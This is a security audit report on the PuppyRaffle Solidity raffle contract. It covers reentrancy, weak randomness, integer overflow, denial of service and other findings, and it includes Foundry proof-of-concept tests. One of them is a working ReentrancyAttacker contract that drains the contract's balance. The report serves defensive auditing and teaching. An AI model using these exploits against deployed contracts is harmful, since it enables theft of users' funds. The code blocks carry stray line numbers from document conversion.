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Protocol Summary

This project is to enter a raffle to win a cute dog NFT.

Disclaimer

Zac Williamson will make all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	Н	H/M	М
	Medium	H/M	М	M/L
	Low	М	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond the following commit hash

```
1 2a47715b30cf11ca82db148704e67652ad679cd8
```

Scope

```
1 ./src/
2 #-- PuppyRaffle.sol
```

Roles

- Owner: Deployer of the protocol, has the power to change the wallet address to which fees are sent through the changeFeeAddress function.
- Player: Participant of the raffle, has the power to enter the raffle with the enterRaffle function and refund value through refund function.

Issues found

Severity	Number of issues found	
High	3	
Medium	3	

Severity	Number of issues found
Low	1
Info	7
Gas	2
Total	16

Findings

High

[H-1] Reentrancy attack in PuppyRaffle::refund allows entrant to drain raffle balance

Description: The PuppyRaffle::refund function does not follow CEI and as a result, enables participants to drain the contract balance.

In the PuppyRaffle::refund funciton, we first make an external call to the msg.sender address and only after, aking that external call do we uipdate the PuppyRaffle::players array.

```
function refund(uint256 playerIndex) public {
          address playerAddress = players[playerIndex];
          require(playerAddress == msg.sender, "PuppyRaffle: Only the
3
              player can refund");
4
          require(playerAddress != address(0), "PuppyRaffle: Player
              already refunded, or is not active");
5
            payable(msg.sender).sendValue(entranceFee);
6
  @>
7
            players[playerIndex] = address(0);
8
9
          emit RaffleRefunded(playerAddress);
      }
```

A player who has entered the raffle could have a fallback/receive function that calls the PuppyRaffle::refund function again and claim another refund. They could continue the cycle till the contract balance is drained.

Impact: All fees paid by raffle entrants could be stolen by malicious participant.

Proof of Concept:

- 1. User enters the raffle
- 2. Attacker sets up a contract with a fallback function that calls PuppyRaffle::refund

- 3. Attacker enters raffle
- 4. Attacker calls PuppyRaffle::refund from their attack contract, draining the contract balance

Proof of code

Code

Place the following in PuppyRaffle.t.sol

```
function test_reentrancyRefund() public {
           // users entering raffle
3
           address[] memory players = new address[](4);
4
           players[0] = player0ne;
5
           players[1] = playerTwo;
           players[2] = playerThree;
6
7
           players[3] = playerFour;
8
           puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
9
10
           // create attack contract and user
           ReentrancyAttacker attackerContract = new ReentrancyAttacker(
11
               puppyRaffle);
           address attacker = makeAddr("attacker");
12
           vm.deal(attacker, 1 ether);
13
14
15
           // noting starting balances
           uint256 startingAttackContractBalance = address(
               attackerContract).balance;
           uint256 startingPuppyRaffleBalance = address(puppyRaffle).
17
               balance;
18
19
           // attack
20
           vm.prank(attacker);
21
           attackerContract.attack{value: entranceFee}();
22
23
           // impact
           console.log("attackerContract balance: ",
24
               startingAttackContractBalance);
           console.log("puppyRaffle balance: ", startingPuppyRaffleBalance
               );
           console.log("ending attackerContract balance: ", address(
               attackerContract).balance);
           console.log("ending puppyRaffle balance: ", address(puppyRaffle
27
               ).balance);
       }
28
```

Place the following contract in PuppyRaffle.t.sol

```
contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
```

```
4
       uint256 attackerIndex;
5
       constructor(PuppyRaffle _puppyRaffle) {
6
            puppyRaffle = _puppyRaffle;
8
           entranceFee = puppyRaffle.entranceFee();
9
       }
10
       function attack() public payable {
11
            address[] memory players = new address[](1);
12
13
           players[0] = address(this);
14
            puppyRaffle.enterRaffle{value: entranceFee}(players);
15
           attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
            puppyRaffle.refund(attackerIndex);
17
       }
18
19
        function _stealMoney() internal {
           if (address(puppyRaffle).balance >= entranceFee) {
20
21
                puppyRaffle.refund(attackerIndex);
22
           }
23
       }
24
25
       fallback() external payable {
26
            _stealMoney();
27
28
29
       receive() external payable {
           _stealMoney();
       }
32 }
```

Recommended Mitigation: To prevent this, we should have the PuppyRaffle::refund function update the players array before making the external call. Additionally, we should move the event emission up as well.

```
function refund(uint256 playerIndex) public {
2
           address playerAddress = players[playerIndex];
           require(playerAddress == msg.sender, "PuppyRaffle: Only the
3
              player can refund");
           require(playerAddress != address(0), "PuppyRaffle: Player
4
              already refunded, or is not active");
5 +
           players[playerIndex] = address(0);
6 +
           emit RaffleRefunded(playerAddress);
           payable(msg.sender).sendValue(entranceFees);
8 -
           players[playerIndex] = address(0);
9 -
           emit RaffleRefunded(playerAddress);
10
       }
```

[H-2] Weak randomness in PuppyRaffle::selectWinner allows users to influence or predict the winner

Description Hashing msg.sender, block.timestamp, and block.difficulty together creates a predictable number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note This means users could front-run this function call and refund if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the rarest puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffles.

Proof of Concept:

- 1. Validators can know the values of block.timestamp and block.difficulty ahead of time and usee that to predict when/how to participate. See the solidity blog on prevrandao. block.difficulty was recently replaced with prevrandao.
- 2. User can mine/manipulate their msg.sender value to result in their address being used to generate the winner!
- 3. Users can revert their selectWinner transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF

[H-3] Integer overflow of PuppyRaffle::totalFees loses fees

Description: In solidity versions prior to 0.8.0 integers were subject to integer overflows.

```
1 ```js
2 uint64 myVar = type(uint64).max
3 // 18446744073709551615
4 myVar = myVar + 1
5 // myVar will be 0
6 ```
```

Impact: In PuppyRaffle::selectWinner, totalFees are accumulated for the feeAddress to collect later in PuppyRaffle::withdrawFees. However, if the totalFees variable overflows,

the feeAddress may not collect the correct amount of fees, leaving fees permanently stuck in the contract

Proof of Concept: Paste the following test in PuppyRaffleTest.t.sol

Code

```
1 function testTotalFeesOverflow() public playersEntered {
       // We finish a raffle of 4 to collect some fees
       vm.warp(block.timestamp + duration + 1);
4
       vm.roll(block.number + 1);
5
       puppyRaffle.selectWinner();
6
       uint256 startingTotalFees = puppyRaffle.totalFees();
7
       // startingTotalFees = 800000000000000000
8
       // We then have 89 players enter a new raffle
9
       uint256 playersNum = 89;
       address[] memory players = new address[](playersNum);
11
12
       for (uint256 i = 0; i < playersNum; i++) {</pre>
13
           players[i] = address(i);
14
       }
       puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
15
16
       // We end the raffle
       vm.warp(block.timestamp + duration + 1);
17
       vm.roll(block.number + 1);
18
19
20
       // And here is where the issue occurs
21
       // We will now have fewer fees even though we just finished a
           second raffle
       puppyRaffle.selectWinner();
22
23
24
       uint256 endingTotalFees = puppyRaffle.totalFees();
25
       console.log("ending total fees", endingTotalFees);
26
       assert(endingTotalFees < startingTotalFees);</pre>
27
28
       // We are also unable to withdraw any fees because of the require
           check
29
       vm.prank(puppyRaffle.feeAddress());
       vm.expectRevert("PuppyRaffle: There are currently players active!")
31
       puppyRaffle.withdrawFees();
32 }
```

Recommended Mitigation: There are a few recommended mitigations here.

1. Use a newer version of Solidity that does not allow integer overflows by default. diff - pragma solidity ^0.7.6; + pragma solidity ^0.8.18; Alternatively, if you want to use an older version of Solidity, you can use a library like OpenZeppelin's SafeMath to prevent integer overflows.

- 2. Use a uint256 instead of a uint64 for totalFees. diff uint64 public
 totalFees = 0; + uint256 public totalFees = 0;
- 3. Remove the balance check in PuppyRaffle::withdrawFees diff require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); We additionally want to bring your attention to another attack vector as a result of this line in a future finding.

Medium

[M-1] Looping through players array to check for duplicates in

PuppyRaffle::enterRaffle is a potential denial of service (DoS) attack, incrementing gas costs for future entrants

Description: The PuppyRaffle::enterRaffle function loops through the players array to check for duplicates. However, the longer the Puppyraffle::players array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle stats will be dramatically lower than those who enter later. Every additional address in the players array, is an additional check the loop will have to make.

Impact: The gas costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of a raffle to be one of the first entrants in the queue.

An attacker might make the PuppyRaffle::entrants array so big, that no one else enters, guarenteeing themselves the win.

Proof of Concept: If we have 2 sets of 100 players enter, the gas costs will be as such: - 1st 100 players: ~6503275 - 2nd 100 players: ~18995515

This is more than 3x more expensive for the second 100 players.

PoC

Place the following test into PuppyRaffleTest.t.sol

```
function test_DoS() public {
2
           // Foundry lets us set a gas price
3
           vm.txGasPrice(1);
4
5
           // Creates 100 addresses
           uint256 playersNum = 100;
           address[] memory players = new address[](playersNum);
           for (uint256 i = 0; i < players.length; i++) {</pre>
8
9
                players[i] = address(i);
10
           }
11
12
           // Gas calculations for first 100 players
           uint256 gasStart = gasleft();
13
           puppyRaffle.enterRaffle{value: entranceFee * players.length}(
14
               players);
15
           uint256 gasEnd = gasleft();
           uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
            console.log("Gas cost of the first 100 players: ", gasUsedFirst
17
               );
18
19
            // Creates another array of 100 players
20
           address[] memory playersTwo = new address[](playersNum);
           for (uint256 i = 0; i < playersTwo.length; i++) {</pre>
21
22
                playersTwo[i] = address(i + playersNum);
           }
23
24
25
           // Gas calculations for second 100 players
26
           uint256 gasStartTwo = gasleft();
           puppyRaffle.enterRaffle{value: entranceFee * players.length}(
27
               playersTwo);
28
           uint256 gasEndTwo = gasleft();
           uint256 gasUsedSecond = (gasStartTwo - gasEndTwo) * tx.gasprice
29
            console.log("Gas cost of the second 100 players: ",
               gasUsedSecond);
31
32
           assert(gasUsedFirst < gasUsedSecond);</pre>
       }
```

Recommended Mitigation: There are a few recommendations.

- 1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check does not prevent the same person from entering multiple times, only the same wallet address.
- 2. Consider using a mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered.

```
1 + mapping(address => uint256) public addressToRaffleId;
2 + uint256 public raffleId = 0;
```

```
4
5
       function enterRaffle(address[] memory newPlayers) public payable {
6
            require(msg.value == entranceFee * newPlayers.length, "
7
               PuppyRaffle: Must send enough to enter raffle");
8
            for (uint256 i = 0; i < newPlayers.length; i++) {</pre>
                players.push(newPlayers[i]);
9
10 +
                 addressToRaffleId[newPlayers[i]] = raffleId;
           }
11
12
13 -
            // Check for duplicates
14 +
            // Check for duplicates only from the new players
           for (uint256 i = 0; i < newPlayers.length; i++) {</pre>
15 +
               require(addressToRaffleId[newPlayers[i]] != raffleId, "
16 +
       PuppyRaffle: Duplicate player");
17 +
             for (uint256 i = 0; i < players.length; i++) {</pre>
18 -
19
                 for (uint256 j = i + 1; j < players.length; j++) {</pre>
20
                     require(players[i] != players[j], "PuppyRaffle:
       Duplicate player");
21 -
22 -
            }
23
           emit RaffleEnter(newPlayers);
       }
24
25 .
26 .
27 .
       function selectWinner() external {
29 +
            raffleId = raffleId + 1;
            require(block.timestamp >= raffleStartTime + raffleDuration, "
               PuppyRaffle: Raffle not over");
```

3. Alternatively, you could use **OpenZeppelin's EnumerableSet library**.

[M-3] Unsafe cast of PuppyRaffle:: fee loses fees

Description: In PuppyRaffle::selectWinner their is a type cast of a uint256 to a uint64. This is an unsafe cast, and if the uint256 is larger than type (uint64).max, the value will be truncated.

```
5
           uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
              sender, block.timestamp, block.difficulty))) % players.
              length:
           address winner = players[winnerIndex];
6
           uint256 fee = totalFees / 10;
7
8
          uint256 winnings = address(this).balance - fee;
          totalFees = totalFees + uint64(fee);
9 @>
           players = new address[](0);
10
           emit RaffleWinner(winner, winnings);
11
12
```

The max value of a uint64 is 18446744073709551615. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the fee casting will truncate the value.

Impact: This means the feeAddress will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

- 1. A raffle proceeds with a little more than 18 ETH worth of fees collected
- 2. The line that casts the fee as a uint64 hits
- 3. totalFees is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
1 uint256 max = type(uint64).max
2 uint256 fee = max + 1
3 uint64(fee)
4 // prints 0
```

Recommended Mitigation: Set PuppyRaffle::totalFees to a uint256 instead of a uint64, and remove the casting. Their is a comment which says:

```
1 // We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

[M-4] Smart Contract wallet raffle winners without a receive or a fallback will block the start of a new contest

Description: The PuppyRaffle::selectWinner function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check.

Impact: The PuppyRaffle::selectWinner function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

Proof of Concept: 1. 10 smart contract wallets enter the lottery without a fallback or receive function. 2. The lottery ends 3. The selectWinner function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

- 1. Do not allow smart contract wallet entrants (not recommended)
- 2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owners on the winner to claim their prize. (Recommended)

Low

[L-1] PuppyRaffle::getActivePlayerIndex returns 0 for non-existent players and players at index 0 causing players to incorrectly think they have not entered the raffle

Description: If a player is in the PuppyRaffle::players array at index 0, this will return 0, but according to the natspec it will also return zero if the player is NOT in the array.

Impact: A player at index 0 may incorrectly think they have not entered the raffle and attempt to enter the raffle again, wasting gas.

Proof of Concept:

- 1. User enters the raffle, they are the first entrant
- 2. PuppyRaffle::getActivePlayerIndex returns 0
- 3. User thinks they have not entered correctly due to the function documentation

Recommendations: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but an even better solution might be to return an int256 where the function returns -1 if the player is not active.

Informational

[I-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of pragma solidity ^0.8.0; use pragma solidity 0.8.0;

• Found in src/PuppyRaffle.sol Line: 3

```
1 pragma solidity ^0.7.6;
```

[I-2] Using an Outdated Version of Solidity is Not Recommended

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement. Recommendation

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Recommendations:

Deploy with any of the following Solidity versions:

```
1 0.8.18
```

The recommendations take into account:

```
1 Risks related to recent releases
2 Risks of complex code generation changes
3 Risks of new language features
4 Risks of known bugs
```

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

[I-3] Missing checks for address (0) when assigning values to address state variables

Assigning values to address state variables without checking for address (0).

• Found in src/PuppyRaffle.sol Line: 69

```
feeAddress = _feeAddress;
```

• Found in src/PuppyRaffle.sol Line: 159

```
previousWinner = winner;
```

• Found in src/PuppyRaffle.sol Line: 182

```
1 feeAddress = newFeeAddress;
```

[I-4] PuppyRaffle::selectWinner does not follow CEI, which is not a best practice

[I-5] Use of "magic" numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

Examples:

```
uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
uint256 public constant FEE_PERCENTAGE = 20;
uint256 public constant POOL_PRECISION = 100;

uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE) /
POOL_PRECISION;
uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) / POOL_PRECISION;
```

[I-6] State Changes are Missing Events

A lack of emitted events can often lead to difficulty of external or front-end systems to accurately track changes within a protocol.

It is best practice to emit an event whenever an action results in a state change.

Examples: - PuppyRaffle::totalFees within the selectWinner function - PuppyRaffle: raffleStartTime within the selectWinner function - PuppyRaffle::totalFees within the withdrawFees function

[I-7] _isActivePlayer is never used and should be removed

Description: The function PuppyRaffle::_isActivePlayer is never used and should be removed.

```
1 ```diff
      function _isActivePlayer() internal view returns (bool) {
3 -
            for (uint256 i = 0; i < players.length; i++) {</pre>
                if (players[i] == msg.sender) {
4 -
5 -
                    return true;
6 -
                }
7 -
            }
8 -
           return false;
9 -
        }
10 ...
```

Gas

[G-1] Unchanged state variables should be declared constant or immutable

Reading from storage is much more expensive than reading a constant or immutable variable.

Instances:

- PuppyRaffle::raffleDurationshouldbeimmutable
- PuppyRaffle::commonImageUri should be constant
- PuppyRaffle::rareImageUri should be constant
- PuppyRaffle::legendaryImageUrishould be constant

[G-2] Storage Variables in a Loop Should be Cached

Everytime you call players.length you read from storage, as opposed to memory which is more gas efficient.

It's best to keep code clean and follow CEI (Checks, Effects, Interactions).

```
1 - (bool success,) = winner.call{value: prizePool}("");
2 - require(success, "PuppyRaffle: Failed to send prize pool to winner"
    );
3     _safeMint(winner, tokenId);
4 + (bool success,) = winner.call{value: prizePool}("");
5 + require(success, "PuppyRaffle: Failed to send prize pool to winner"
    );
```